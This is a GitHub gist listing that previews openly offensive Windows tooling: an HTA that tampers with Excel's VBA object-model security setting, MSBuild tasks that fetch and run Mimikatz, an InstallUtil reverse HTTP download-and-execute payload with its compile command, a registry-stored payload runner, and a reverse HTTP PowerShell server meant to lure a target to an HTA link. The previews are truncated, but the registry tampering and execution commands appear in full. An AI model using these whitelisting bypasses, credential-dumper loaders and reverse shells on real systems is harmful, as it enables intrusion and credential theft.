Skip to content

Instantly share code, notes, and snippets.

View nicholasmckinney's full-sized avatar

Nicholas McKinney nicholasmckinney

21 followers · 5 following
View GitHub Profile
@nicholasmckinney
nicholasmckinney / CalcExcel.hta
Created May 8, 2017 00:29
Shellcode Execution Via HTA
<html>
<head>
<script>
var objExcel = new ActiveXObject("Excel.Application");
objExcel.Visible = false;
var WshShell = new ActiveXObject("WScript.Shell");
var Application_Version = objExcel.Version;//Auto-Detect Version
var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
var objWorkbook = objExcel.Workbooks.Add();
@nicholasmckinney
nicholasmckinney / katz.xml
Created May 8, 2017 00:29
Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@nicholasmckinney
nicholasmckinney / katz.xml
Created May 8, 2017 00:29
MSBuild - Mimikatz - Server 2016
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
@nicholasmckinney
nicholasmckinney / RemoteDLLGuest.cs
Created May 8, 2017 00:29
Remote DLLGuest
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Create Your Strong Name Key -> key.snk
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
@nicholasmckinney
nicholasmckinney / rev_http.cs
Created May 8, 2017 00:29
InstallUtil - Download And Execute Reverse_HTTP Payload
using System;
using System.Net;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:revshell.exe rev_http.cs
@nicholasmckinney
nicholasmckinney / RegRunner.cs
Created May 8, 2017 00:28
Executes Encrypted File From Registry
using System;
using System.IO;
using System.Text;
using Microsoft.Win32;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
@nicholasmckinney
nicholasmckinney / PacHost.ps1
Created May 8, 2017 00:27
function Start-PACFileHosting()
{
# Example PAC File Hosting
# Pattern after http://obscuresecurity.blogspot.com/2014/05/dirty-powershell-webserver.html
# example: http://localhost:8083/i.pac
# Be Certain Line 19 matches your Interceptor Config
Start-Job -ScriptBlock {
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8083/")
@nicholasmckinney
nicholasmckinney / web.config
Created May 8, 2017 00:27
Encrypt Random Shit with aspnet_regiis.exe
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<!-- Encrypt Element -> C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -pef "secretStuff" "C:\Tools" -->
<!-- Decrypt Element -> C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe -pdf "secretStuff" "C:\Tools" -->
<!-- See https://msdn.microsoft.com/en-us/library/2w117ede.aspx -->
<!-- Example by @subTee -->
<connectionStrings>
<add name="constr" connectionString="blah" />
</connectionStrings>
<system.web>
@nicholasmckinney
nicholasmckinney / gist:f5a4c6e106234fe94688c860587d3b16
Created May 8, 2017 00:27
Reverse HTTP PowerShell
<#
Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta
To change your server, simply find and replace 192.168.1.1 with your server in the code.
#>
function Receive-Request {
param(
$Request
)
$output = ""
@nicholasmckinney
nicholasmckinney / RSAGuts.ps1
Created May 8, 2017 00:27
RSA Algorithm in PowerShell. Just Cause
<#
Created By Casey Smith
@subTee
RSA in PowerShell.
Just Cause...
Reference notes for the curious
p = 61 <= first prime number (destroy this after computing e and d)
q = 53 <= second prime number (destroy this after computing e and d)